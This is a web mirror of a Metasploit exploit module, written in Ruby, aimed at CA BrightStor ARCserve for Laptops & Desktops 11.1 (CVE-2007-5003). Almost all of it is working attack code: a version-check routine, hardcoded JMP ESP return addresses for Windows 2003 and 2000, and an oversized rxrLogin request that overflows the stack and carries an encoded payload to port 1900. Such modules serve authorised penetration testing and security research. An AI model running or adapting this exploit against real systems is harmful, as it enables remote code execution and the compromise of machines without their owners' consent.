CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
Path: blob/master/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb
Views: 1904
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'CA BrightStor ARCserve for Laptops and Desktops LGServer Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup15for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could16overflow the buffer and execute arbitrary code.17},18'Author' => [ 'MC' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2007-5003' ],23[ 'OSVDB', '41353' ],24[ 'BID', '24348' ],25],26'Privileged' => true,27'DefaultOptions' =>28{29'EXITFUNC' => 'process',30},31'Payload' =>32{33'Space' => 550,34'BadChars' => "\x00",35'StackAdjustment' => -3500,36'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",37},38'Platform' => 'win',39'Targets' =>40[41[ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ], # JMP ESP wshtcpip.dll42[ 'Windows 2000 SP4 English', { 'Ret' => 0x7c30d043 } ], # JMP ESP advapi32.dll43],44'DisclosureDate' => '2007-06-06',45'DefaultTarget' => 0))4647register_options([ Opt::RPORT(1900) ])48end4950def check51connect5253sock.put("0000000019rxrGetServerVersion")54ver = sock.get_once5556disconnect5758if ( ver and ver =~ /11\.1\.742/ )59return Exploit::CheckCode::Appears60end61return Exploit::CheckCode::Safe62end6364def exploit65connect6667buffer = rand_text_alpha_upper(17420) + [target.ret].pack('V')68buffer << payload.encoded + rand_text_alpha_upper(300)6970sploit = "0000018124" # Command Length Field71sploit << "rxrLogin" # RPC Command72sploit << "~~" # Constant Argument Delimiter73sploit << buffer # Argument7475print_status("Trying target #{target.name}...")76# One-shot overwrite...77sock.put(sploit)7879handler80disconnect81end82end838485